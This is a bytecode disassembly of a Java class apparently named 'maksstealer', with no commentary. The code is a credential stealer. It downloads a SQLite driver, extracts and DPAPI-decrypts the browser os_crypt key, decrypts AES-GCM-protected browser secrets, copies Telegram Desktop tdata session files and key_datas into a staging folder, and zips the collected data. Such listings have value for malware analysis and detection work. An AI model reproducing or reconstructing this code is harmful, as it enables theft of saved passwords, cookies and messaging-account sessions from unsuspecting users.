File maksstealer_8b526df25b73573dde9bb448078fec0b9161696cb8dec709a3d83e00b8006773.class
Function:
    0000ac30
    0000ac30makslibraries.MaksLibraries::getDriverсс():
    0000ac30new #332 // class java/io/File
    0000ac33dup
    0000ac34new #110 // class java/lang/StringBuilder
    0000ac37dup
    0000ac38invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000ac3bldc_w #1057 // String "APPDATA"
    0000ac3einvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
    0000ac41invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000ac44ldc_w #1400 // String "/sqlite-jdbc-3.23.1.jar"
    0000ac47invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000ac4ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000ac4dinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000ac50astore_0
    0000ac51new #665 // class java/net/URL
    0000ac54dup
    0000ac55ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
    0000ac58invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
    0000ac5bastore_1
    0000ac5caload_0
    0000ac5dinvokevirtual #1087 // Method java/io/File.exists:()Z
    0000ac60ifne 56
    0000ac63aload_1
    0000ac64aload_0
    0000ac65invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
    0000ac68aload_0
    0000ac69invokevirtual #1210 // Method java/io/File.deleteOnExit:()V
    0000ac6cnew #1212 // class java/net/URLClassLoader
    0000ac6fdup
    0000ac70iconst_1
    0000ac71anewarray #665 // class java/net/URL
    0000ac74dup
    0000ac75iconst_0
    0000ac76aload_0
    0000ac77invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
    0000ac7ainvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
    0000ac7daastore
    0000ac7einvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
    0000ac81astore_2
    0000ac82ldc_w #1227 // String "org.sqlite.JDBC"
    0000ac85iconst_1
    0000ac86aload_2
    0000ac87invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
    0000ac8aastore_3
    0000ac8baload_3
    0000ac8cinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
    0000ac8fastore 4
    0000ac91aload 4
    0000ac93checkcast #1135 // class java/sql/Driver
    0000ac96areturn
    0000ac97astore_0
    0000ac98aconst_null
    0000ac99areturn
    0000ac30
    0000ad45
    0000ad45makslibraries.MaksLibraries::getKeyсс(java.io.File):
    0000ad45new #461 // class com/google/gson/Gson
    0000ad48dup
    0000ad49invokespecial #462 // Method com/google/gson/Gson.<init>:()V
    0000ad4cnew #464 // class java/io/FileReader
    0000ad4fdup
    0000ad50aload_0
    0000ad51invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
    0000ad54ldc_w #475 // class com/google/gson/JsonObject
    0000ad57invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
    0000ad5acheckcast #475 // class com/google/gson/JsonObject
    0000ad5dastore_1
    0000ad5eaload_1
    0000ad5fldc_w #481 // String "os_crypt"
    0000ad62invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
    0000ad65invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
    0000ad68ldc_w #492 // String "encrypted_key"
    0000ad6binvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
    0000ad6einvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
    0000ad71invokevirtual #281 // Method java/lang/String.getBytes:()[B
    0000ad74astore_2
    0000ad75invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
    0000ad78aload_2
    0000ad79invokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
    0000ad7castore_2
    0000ad7daload_2
    0000ad7eiconst_5
    0000ad7faload_2
    0000ad80arraylength
    0000ad81invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
    0000ad84astore_2
    0000ad85aload_2
    0000ad86invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
    0000ad89areturn
    0000ad8aastore_1
    0000ad8baconst_null
    0000ad8careturn
    0000ad45
    0000ae11
    0000ae11makslibraries.MaksLibraries::decryptcc(byte[], byte[]):
    0000ae11ldc_w #368 // String "AES/GCM/NoPadding"
    0000ae14invokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
    0000ae17astore_2
    0000ae18aload_0
    0000ae19iconst_3
    0000ae1abipush 15
    0000ae1cinvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
    0000ae1fastore_3
    0000ae20aload_0
    0000ae21bipush 15
    0000ae23aload_0
    0000ae24arraylength
    0000ae25invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
    0000ae28astore 4
    0000ae2anew #382 // class javax/crypto/spec/GCMParameterSpec
    0000ae2ddup
    0000ae2esipush 128
    0000ae31aload_3
    0000ae32invokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
    0000ae35astore 5
    0000ae37new #387 // class javax/crypto/spec/SecretKeySpec
    0000ae3adup
    0000ae3baload_1
    0000ae3cldc_w #389 // String "AES"
    0000ae3finvokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
    0000ae42astore 6
    0000ae44aload_2
    0000ae45iconst_2
    0000ae46aload 6
    0000ae48aload 5
    0000ae4ainvokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
    0000ae4dnew #91 // class java/lang/String
    0000ae50dup
    0000ae51aload_2
    0000ae52aload 4
    0000ae54invokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
    0000ae57invokespecial #403 // Method java/lang/String.<init>:([B)V
    0000ae5aareturn
    0000ae5bastore_2
    0000ae5caload_2
    0000ae5dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000ae60aconst_null
    0000ae61areturn
    0000ae11
    0000af1a
    0000af1amakslibraries.MaksLibraries::tg():
    0000af1anew #110 // class java/lang/StringBuilder
    0000af1ddup
    0000af1einvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000af21getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
    0000af24invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
    0000af27getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
    0000af2ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af2dldc_w #1406 // String "Telegram Desktop"
    0000af30invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af33invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000af36astore_0
    0000af37new #110 // class java/lang/StringBuilder
    0000af3adup
    0000af3binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000af3eaload_0
    0000af3finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af42getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
    0000af45invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af48ldc_w #1408 // String "tdata"
    0000af4binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af4einvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000af51astore_1
    0000af52new #332 // class java/io/File
    0000af55dup
    0000af56aload_1
    0000af57invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000af5aastore_2
    0000af5bnew #332 // class java/io/File
    0000af5edup
    0000af5fnew #110 // class java/lang/StringBuilder
    0000af62dup
    0000af63invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000af66getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000af69invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af6cldc_w #1410 // String "\\tdata"
    0000af6finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000af72invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000af75invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000af78astore_3
    0000af79aload_0
    0000af7ainvokestatic #1413 // Method makslibraries/MaksLibraries.doesDirectoryExist:(Ljava/lang/String;)Z
    0000af7distore 4
    0000af7fiload 4
    0000af81ifeq 220
    0000af84aload_3
    0000af85invokevirtual #1087 // Method java/io/File.exists:()Z
    0000af88ifne 118
    0000af8baload_3
    0000af8cinvokevirtual #930 // Method java/io/File.mkdirs:()Z
    0000af8fpop
    0000af90aload_2
    0000af91invokestatic #1417 // Method makslibraries/MaksLibraries.getMatchingFiles:(Ljava/io/File;)Ljava/util/List;
    0000af94astore 5
    0000af96aload 5
    0000af98invokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
    0000af9dastore 6
    0000af9faload 6
    0000afa1invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
    0000afa6ifeq 169
    0000afa9aload 6
    0000afabinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
    0000afb0checkcast #332 // class java/io/File
    0000afb3astore 7
    0000afb5aload 7
    0000afb7aload_3
    0000afb8invokestatic #1423 // Method makslibraries/MaksLibraries.copyFileToDirectory:(Ljava/io/File;Ljava/io/File;)V
    0000afbbgoto 166
    0000afbeastore 8
    0000afc0goto 133
    0000afc3aload_2
    0000afc4invokestatic #1426 // Method makslibraries/MaksLibraries.getMatchingDirectories:(Ljava/io/File;)Ljava/util/List;
    0000afc7astore 6
    0000afc9aload 6
    0000afcbinvokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
    0000afd0astore 7
    0000afd2aload 7
    0000afd4invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
    0000afd9ifeq 220
    0000afdcaload 7
    0000afdeinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
    0000afe3checkcast #332 // class java/io/File
    0000afe6astore 8
    0000afe8aload 8
    0000afeaaload_3
    0000afebinvokestatic #1429 // Method makslibraries/MaksLibraries.copyDirectoryToDirectory:(Ljava/io/File;Ljava/io/File;)V
    0000afeegoto 217
    0000aff1astore 9
    0000aff3goto 184
    0000aff6goto 224
    0000aff9astore_0
    0000affareturn
    0000af1a
    0000b195
    0000b195makslibraries.MaksLibraries::doesDirectoryExist(java.lang.String):
    0000b195new #332 // class java/io/File
    0000b198dup
    0000b199aload_0
    0000b19ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000b19dastore_1
    0000b19eaload_1
    0000b19finvokevirtual #1087 // Method java/io/File.exists:()Z
    0000b1a2ifeq 27
    0000b1a5aload_1
    0000b1a6invokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b1a9ifeq 27
    0000b1aciconst_1
    0000b1adgoto 28
    0000b1b0iconst_0
    0000b1b1ireturn
    0000b195
    0000b208
    0000b208makslibraries.MaksLibraries::getMatchingFiles(java.io.File):
    0000b208new #1439 // class java/util/ArrayList
    0000b20bdup
    0000b20cinvokespecial #1440 // Method java/util/ArrayList.<init>:()V
    0000b20fastore_1
    0000b210aload_0
    0000b211invokevirtual #1087 // Method java/io/File.exists:()Z
    0000b214ifeq 132
    0000b217aload_0
    0000b218invokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b21bifeq 132
    0000b21eaload_0
    0000b21finvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
    0000b222astore_2
    0000b223aload_2
    0000b224ifnull 132
    0000b227aload_2
    0000b228astore_3
    0000b229aload_3
    0000b22aarraylength
    0000b22bistore 4
    0000b22diconst_0
    0000b22eistore 5
    0000b230iload 5
    0000b232iload 4
    0000b234if_icmpge 94
    0000b237aload_3
    0000b238iload 5
    0000b23aaaload
    0000b23bastore 6
    0000b23daload 6
    0000b23finvokevirtual #951 // Method java/io/File.isFile:()Z
    0000b242ifeq 88
    0000b245aload 6
    0000b247invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b24aastore 7
    0000b24caload 7
    0000b24eldc_w #1442 // String "^[A-Z0-9].*s$"
    0000b251invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
    0000b254ifeq 88
    0000b257aload_1
    0000b258aload 6
    0000b25ainvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
    0000b25fpop
    0000b260iinc 5, 1
    0000b263goto 40
    0000b266aload_1
    0000b267new #332 // class java/io/File
    0000b26adup
    0000b26bnew #110 // class java/lang/StringBuilder
    0000b26edup
    0000b26finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000b272aload_0
    0000b273invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
    0000b276ldc_w #1448 // String "\\key_datas"
    0000b279invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b27cinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000b27finvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000b282invokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
    0000b287pop
    0000b288goto 132
    0000b28bastore_3
    0000b28caload_1
    0000b28dareturn
    0000b208
    0000b36c
    0000b36cmakslibraries.MaksLibraries::copyFileToDirectory(java.io.File, java.io.File):
    0000b36caload_1
    0000b36dinvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000b370aload_0
    0000b371invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b374invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
    0000b379astore_2
    0000b37aaload_0
    0000b37binvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000b37eaload_2
    0000b37ficonst_1
    0000b380anewarray #1111 // class java/nio/file/CopyOption
    0000b383dup
    0000b384iconst_0
    0000b385getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000b388aastore
    0000b389invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000b38cpop
    0000b38dreturn
    0000b36c
    0000b3ec
    0000b3ecmakslibraries.MaksLibraries::getMatchingDirectories(java.io.File):
    0000b3ecnew #1439 // class java/util/ArrayList
    0000b3efdup
    0000b3f0invokespecial #1440 // Method java/util/ArrayList.<init>:()V
    0000b3f3astore_1
    0000b3f4aload_0
    0000b3f5invokevirtual #1087 // Method java/io/File.exists:()Z
    0000b3f8ifeq 94
    0000b3fbaload_0
    0000b3fcinvokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b3ffifeq 94
    0000b402aload_0
    0000b403invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
    0000b406astore_2
    0000b407aload_2
    0000b408ifnull 94
    0000b40baload_2
    0000b40castore_3
    0000b40daload_3
    0000b40earraylength
    0000b40fistore 4
    0000b411iconst_0
    0000b412istore 5
    0000b414iload 5
    0000b416iload 4
    0000b418if_icmpge 94
    0000b41baload_3
    0000b41ciload 5
    0000b41eaaload
    0000b41fastore 6
    0000b421aload 6
    0000b423invokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b426ifeq 88
    0000b429aload 6
    0000b42binvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b42eastore 7
    0000b430aload 7
    0000b432ldc_w #1457 // String "^[A-Z0-9].*[A-Z0-9]$"
    0000b435invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
    0000b438ifeq 88
    0000b43baload_1
    0000b43caload 6
    0000b43einvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
    0000b443pop
    0000b444iinc 5, 1
    0000b447goto 40
    0000b44aaload_1
    0000b44bareturn
    0000b3ec
    0000b519
    0000b519makslibraries.MaksLibraries::copyDirectoryToDirectory(java.io.File, java.io.File):
    0000b519aload_1
    0000b51ainvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000b51daload_0
    0000b51einvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b521invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
    0000b526astore_2
    0000b527aload_0
    0000b528invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000b52biconst_0
    0000b52canewarray #1249 // class java/nio/file/FileVisitOption
    0000b52finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
    0000b532aload_2
    0000b533aload_0
    0000b534invokedynamic #1466 // InvokeDynamic #11:accept:(Ljava/nio/file/Path;Ljava/io/File;)Ljava/util/function/Consumer;
    0000b539invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
    0000b53ereturn
    0000b519
    0000b5a1
    0000b5a1makslibraries.MaksLibraries::createZipArchive(java.lang.String, java.lang.String):
    0000b5a1new #332 // class java/io/File
    0000b5a4dup
    0000b5a5aload_0
    0000b5a6invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000b5a9astore_2
    0000b5aanew #332 // class java/io/File
    0000b5addup
    0000b5aeaload_1
    0000b5afinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000b5b2astore_3
    0000b5b3aload_2
    0000b5b4invokevirtual #1087 // Method java/io/File.exists:()Z
    0000b5b7ifeq 32
    0000b5baaload_2
    0000b5bbinvokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b5beifne 60
    0000b5c1new #1470 // class java/lang/IllegalArgumentException
    0000b5c4dup
    0000b5c5new #110 // class java/lang/StringBuilder
    0000b5c8dup
    0000b5c9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000b5ccldc_w #1472 // String "Исходная папка не существует или не является директорией: "
    0000b5cfinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b5d2aload_0
    0000b5d3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b5d6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000b5d9invokespecial #1473 // Method java/lang/IllegalArgumentException.<init>:(Ljava/lang/String;)V
    0000b5dcathrow
    0000b5ddnew #824 // class java/io/FileOutputStream
    0000b5e0dup
    0000b5e1aload_3
    0000b5e2invokespecial #1474 // Method java/io/FileOutputStream.<init>:(Ljava/io/File;)V
    0000b5e5astore 4
    0000b5e7aconst_null
    0000b5e8astore 5
    0000b5eanew #827 // class java/util/zip/ZipOutputStream
    0000b5eddup
    0000b5eeaload 4
    0000b5f0invokespecial #830 // Method java/util/zip/ZipOutputStream.<init>:(Ljava/io/OutputStream;)V
    0000b5f3astore 6
    0000b5f5aconst_null
    0000b5f6astore 7
    0000b5f8aload_2
    0000b5f9aload_2
    0000b5fainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b5fdaload 6
    0000b5ffinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
    0000b602aload 6
    0000b604ifnull 184
    0000b607aload 7
    0000b609ifnull 127
    0000b60caload 6
    0000b60einvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
    0000b611goto 184
    0000b614astore 8
    0000b616aload 7
    0000b618aload 8
    0000b61ainvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b61dgoto 184
    0000b620aload 6
    0000b622invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
    0000b625goto 184
    0000b628astore 8
    0000b62aaload 8
    0000b62castore 7
    0000b62eaload 8
    0000b630athrow
    0000b631astore 9
    0000b633aload 6
    0000b635ifnull 181
    0000b638aload 7
    0000b63aifnull 176
    0000b63daload 6
    0000b63finvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
    0000b642goto 181
    0000b645astore 10
    0000b647aload 7
    0000b649aload 10
    0000b64binvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b64egoto 181
    0000b651aload 6
    0000b653invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
    0000b656aload 9
    0000b658athrow
    0000b659aload 4
    0000b65bifnull 271
    0000b65eaload 5
    0000b660ifnull 214
    0000b663aload 4
    0000b665invokevirtual #836 // Method java/io/FileOutputStream.close:()V
    0000b668goto 271
    0000b66bastore 6
    0000b66daload 5
    0000b66faload 6
    0000b671invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b674goto 271
    0000b677aload 4
    0000b679invokevirtual #836 // Method java/io/FileOutputStream.close:()V
    0000b67cgoto 271
    0000b67fastore 6
    0000b681aload 6
    0000b683astore 5
    0000b685aload 6
    0000b687athrow
    0000b688astore 11
    0000b68aaload 4
    0000b68cifnull 268
    0000b68faload 5
    0000b691ifnull 263
    0000b694aload 4
    0000b696invokevirtual #836 // Method java/io/FileOutputStream.close:()V
    0000b699goto 268
    0000b69castore 12
    0000b69eaload 5
    0000b6a0aload 12
    0000b6a2invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b6a5goto 268
    0000b6a8aload 4
    0000b6aainvokevirtual #836 // Method java/io/FileOutputStream.close:()V
    0000b6adaload 11
    0000b6afathrow
    0000b6b0return
    0000b5a1
    0000b86d
    0000b86dmakslibraries.MaksLibraries::addDirectoryToZip(java.io.File, java.lang.String, java.util.zip.ZipOutputStream):
    0000b86daload_0
    0000b86einvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
    0000b871astore_3
    0000b872aload_3
    0000b873ifnull 301
    0000b876aload_3
    0000b877astore 4
    0000b879aload 4
    0000b87barraylength
    0000b87cistore 5
    0000b87eiconst_0
    0000b87fistore 6
    0000b881iload 6
    0000b883iload 5
    0000b885if_icmpge 301
    0000b888aload 4
    0000b88aiload 6
    0000b88caaload
    0000b88dastore 7
    0000b88faload 7
    0000b891invokevirtual #844 // Method java/io/File.isDirectory:()Z
    0000b894ifeq 119
    0000b897new #110 // class java/lang/StringBuilder
    0000b89adup
    0000b89binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000b89eaload_1
    0000b89finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8a2ldc_w #846 // String "/"
    0000b8a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8a8aload 7
    0000b8aainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b8adinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8b0invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000b8b3astore 8
    0000b8b5aload_2
    0000b8b6new #848 // class java/util/zip/ZipEntry
    0000b8b9dup
    0000b8banew #110 // class java/lang/StringBuilder
    0000b8bddup
    0000b8beinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000b8c1aload 8
    0000b8c3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8c6ldc_w #846 // String "/"
    0000b8c9invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8ccinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000b8cfinvokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
    0000b8d2invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
    0000b8d5aload_2
    0000b8d6invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
    0000b8d9aload 7
    0000b8dbaload 8
    0000b8ddaload_2
    0000b8deinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
    0000b8e1goto 295
    0000b8e4aload_2
    0000b8e5new #848 // class java/util/zip/ZipEntry
    0000b8e8dup
    0000b8e9new #110 // class java/lang/StringBuilder
    0000b8ecdup
    0000b8edinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000b8f0aload_1
    0000b8f1invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8f4ldc_w #846 // String "/"
    0000b8f7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b8faaload 7
    0000b8fcinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
    0000b8ffinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000b902invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000b905invokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
    0000b908invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
    0000b90bnew #855 // class java/io/FileInputStream
    0000b90edup
    0000b90faload 7
    0000b911invokespecial #858 // Method java/io/FileInputStream.<init>:(Ljava/io/File;)V
    0000b914astore 8
    0000b916aconst_null
    0000b917astore 9
    0000b919sipush 1024
    0000b91cnewarray 8 // byte
    0000b91eastore 10
    0000b920aload 8
    0000b922aload 10
    0000b924invokevirtual #862 // Method java/io/FileInputStream.read:([B)I
    0000b927dup
    0000b928istore 11
    0000b92aifle 204
    0000b92daload_2
    0000b92eaload 10
    0000b930iconst_0
    0000b931iload 11
    0000b933invokevirtual #865 // Method java/util/zip/ZipOutputStream.write:([BII)V
    0000b936goto 179
    0000b939aload 8
    0000b93bifnull 291
    0000b93eaload 9
    0000b940ifnull 234
    0000b943aload 8
    0000b945invokevirtual #866 // Method java/io/FileInputStream.close:()V
    0000b948goto 291
    0000b94bastore 10
    0000b94daload 9
    0000b94faload 10
    0000b951invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b954goto 291
    0000b957aload 8
    0000b959invokevirtual #866 // Method java/io/FileInputStream.close:()V
    0000b95cgoto 291
    0000b95fastore 10
    0000b961aload 10
    0000b963astore 9
    0000b965aload 10
    0000b967athrow
    0000b968astore 12
    0000b96aaload 8
    0000b96cifnull 288
    0000b96faload 9
    0000b971ifnull 283
    0000b974aload 8
    0000b976invokevirtual #866 // Method java/io/FileInputStream.close:()V
    0000b979goto 288
    0000b97castore 13
    0000b97eaload 9
    0000b980aload 13
    0000b982invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
    0000b985goto 288
    0000b988aload 8
    0000b98ainvokevirtual #866 // Method java/io/FileInputStream.close:()V
    0000b98daload 12
    0000b98fathrow
    0000b990aload_2
    0000b991invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
    0000b994iinc 6, 1
    0000b997goto 20
    0000b99areturn
    0000b86d
    0000bb2f
    0000bb2fmakslibraries.MaksLibraries::lambda$copyDirectoryToDirectory$36(java.nio.file.Path, java.io.File, java.nio.file.Path):
    0000bb2faload_0
    0000bb30aload_1
    0000bb31invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000bb34aload_2
    0000bb35invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bb3ainvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bb3fastore_3
    0000bb40aload_2
    0000bb41aload_3
    0000bb42iconst_1
    0000bb43anewarray #1111 // class java/nio/file/CopyOption
    0000bb46dup
    0000bb47iconst_0
    0000bb48getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000bb4baastore
    0000bb4cinvokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000bb4fpop
    0000bb50goto 38
    0000bb53astore 4
    0000bb55return
    0000bb2f
    0000bbe3
